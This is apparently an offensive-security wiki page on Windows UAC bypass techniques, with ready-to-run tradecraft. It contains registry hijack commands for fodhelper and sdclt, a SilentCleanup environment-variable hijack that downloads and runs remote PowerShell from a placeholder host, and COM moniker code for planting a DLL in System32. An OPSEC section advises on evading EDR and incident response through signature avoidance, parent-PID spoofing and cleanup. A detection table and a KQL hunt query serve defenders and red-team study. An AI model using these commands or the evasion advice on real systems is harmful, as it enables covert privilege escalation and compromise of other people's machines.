UAC bypass techniques
User Account Control (UAC) is the prompt that asks “do you want to allow this app to make changes?” — and the silent split-token machinery behind it. On a default Windows 10/11 install, a local admin runs at Medium Integrity Level (IL) with a filtered token; only when the consent prompt is satisfied does the process receive its full High IL token. UAC bypasses elevate from Medium to High without triggering that prompt, by abusing auto-elevated binaries Microsoft ships with autoElevate=true in their manifest. Microsoft has stated repeatedly that UAC is not a security boundary, and refuses to service most bypasses — which is precisely why every modern operator playbook still ships a fresh one. See user-account-control for the underlying model.
Mental model
Three primitives matter:
- Auto-elevation whitelist. Signed Microsoft binaries in
\Windows\System32whose embedded manifest contains<autoElevate>true</autoElevate>(fodhelper, computerdefaults, sdclt, eventvwr, CompMgmtLauncher, …) silently get a High IL token if launched from an admin Medium-IL process. - Hijackable lookups. Those binaries read state from places a Medium-IL user can write —
HKCU\Software\Classes\...(ShellExecute protocol handler lookup checks HKCU before HKCR), environment variables, side-loaded DLL search paths. - COM elevation moniker.
IFileOperationand theElevation:Administrator!new:{CLSID}moniker let a Medium process instantiate a High-IL COM server. With the right CLSID ({3AD05575-8857-4850-9277-11B85BDB8E09}IFileOperation,{D2E7041B-2927-42fb-8E9F-7CE93B6DC937}ColorDataProxy) you can write to protected paths or load a DLL into a High-IL host.
The hijack flow for fodhelper.exe:
1
2
3
4
5
fodhelper.exe (High IL, auto-elevated)
└── ShellExecute("ms-settings:")
└── lookup ms-settings\shell\open\command
├── HKCU\Software\Classes\ms-settings\... <-- attacker writes here
└── HKCR fallback (legit handler)
Because HKCU wins, the attacker-controlled command runs as the elevated child of fodhelper.exe.
Tradecraft
Registry hijack: fodhelper (still works on 11 23H2 with a DelegateExecute twist)
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /t REG_SZ /d "" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "cmd.exe /c whoami > %TEMP%\uac.txt" /f
start "" fodhelper.exe
reg delete "HKCU\Software\Classes\ms-settings" /f
The empty DelegateExecute value is required on 11 — without it the call falls through to the protocol-activation pipeline that ignores HKCU.
computerdefaults.exe / sdclt.exe variants
:: computerdefaults — same ms-settings handler, different launcher (cleaner Sysmon parent chain in some EDRs)
start "" computerdefaults.exe
:: sdclt.exe /KickOffElev reads HKCU\Software\Classes\Folder\shell\open\command
reg add "HKCU\Software\Classes\Folder\shell\open\command" /ve /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
reg add "HKCU\Software\Classes\Folder\shell\open\command" /v "DelegateExecute" /t REG_SZ /d "" /f
sdclt.exe /KickOffElev
Env-var hijack: SilentCleanup scheduled task
The built-in \Microsoft\Windows\DiskCleanup\SilentCleanup task runs %windir%\system32\cleanmgr.exe as the user but with highest privileges. The token comes from the user, but windir is read from the user’s environment block.
1
2
3
4
[Environment]::SetEnvironmentVariable("windir","cmd /c start powershell -nop -w hidden -c IEX(IWR https://x/y);#", "User")
schtasks /run /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup"
# clean up
[Environment]::SetEnvironmentVariable("windir",$null,"User")
The # comments out the rest of the original command. Works without a registry write to HKCU\Software\Classes, which is a heavily monitored surface.
DLL hijack of auto-elevated binaries
Many auto-elevated binaries side-load DLLs from writable locations under %LOCALAPPDATA%\Microsoft\WindowsApps or accept relative paths. wusa.exe, slui.exe, msconfig.exe, and several MMC snap-ins have had abusable load orders. See dll-hijacking-privesc for the search-order theory; the UAC-specific twist is choosing a target whose manifest auto-elevates and whose missing import you can plant. The current canonical catalogue is UACME by hfiref0x (commit 3.7.x, ~80 methods), which is the practitioner reference — read the source, don’t ship the binary, it is 100% signatured.
IFileOperation COM moniker
1
2
3
CoGetObject(L"Elevation:Administrator!new:{3AD05575-8857-4850-9277-11B85BDB8E09}",
&bo, IID_IFileOperation, (void**)&pfo);
pfo->CopyItem(srcDll, sysFolder, L"target.dll", NULL);
Bind to the elevated IFileOperation, copy your payload DLL into C:\Windows\System32\, then trigger an auto-elevated binary that imports it. The classic chain (Leo Davidson / Win32/Bypassuac) still functions; modern EDRs flag the moniker string itself.
Token impersonation paths
Not strictly UAC, but it ends in the same place: if you already have SeImpersonatePrivilege (IIS, MSSQL, any service account), Potato-family exploits (RoguePotato, PrintSpoofer, GodPotato on 11) coerce a SYSTEM auth to a named pipe you control and call ImpersonateNamedPipeClient. See token-impersonation. This often beats UAC bypass for service-context footholds — no admin user required.
Detection / Telemetry
| Signal | Source | Notes |
|---|---|---|
HKCU\Software\Classes\ms-settings write | Sysmon EID 13, EDR registry sensor | Almost zero legit reasons; high-fidelity |
fodhelper.exe / computerdefaults.exe with child cmd.exe/powershell.exe | EID 4688, Sysmon EID 1 | Parent-child anomaly, near-zero baseline |
| Auto-elevated binary loading unsigned DLL | Sysmon EID 7 (ImageLoad) | Hunt IsSigned=false on slui/wusa/msconfig |
Env var windir set in HKCU\Environment | Sysmon EID 13, EID 4657 | SilentCleanup precursor |
SilentCleanup task run from interactive session | EID 4698/4702 + EID 200/201 in TaskScheduler/Operational | Followed by elevated child of svchost |
COM Elevation:Administrator!new: string in memory | EDR string scan | Catches IFileOperation moniker abuse |
Hunt query (KQL / Defender for Endpoint):
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("fodhelper.exe","computerdefaults.exe","sdclt.exe","slui.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","rundll32.exe","mshta.exe","wscript.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, AccountName
OPSEC pitfalls
- Every public UACME method is signatured. Shipping the UACME binary or its strings (
"Akagi", hardcoded CLSIDs) is an instant kill. Reimplement in-process. - Registry cleanup is mandatory. Leaving
HKCU\Software\Classes\ms-settingsbehind is a beacon for IR sweeps and breaks the user’s Settings app — both noisy. - Don’t elevate cmd.exe directly. Spawning
cmd.exe/powershell.exeas a child offodhelper.exeis the textbook detection. Inject into a longer-lived elevated process or use parent-pid-spoofing to launder the parent chain; see also process-injection-techniques. - AlwaysNotify breaks most of this. If the user runs UAC at the highest slider, auto-elevation is disabled and the whole family fails — confirm
ConsentPromptBehaviorAdminandEnableLUAfirst viareg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System. - Not a domain-admin path. UAC bypass only matters on the local box, and only if the current user is in the local Administrators group with a filtered token. On standard-user sessions you need a real LPE — see windows-privesc-checklist.
References
- https://learn.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works
- https://github.com/hfiref0x/UACME
- https://attack.mitre.org/techniques/T1548/002/
- https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea
- https://www.tiraniddo.dev/2017/05/exploiting-environment-variables-in.html
- https://www.fortinet.com/blog/threat-research/uac-bypass-techniques-used-by-malware
See also: user-account-control · token-impersonation · dll-hijacking-privesc · parent-pid-spoofing · process-injection-techniques · living-off-the-land · windows-privesc-checklist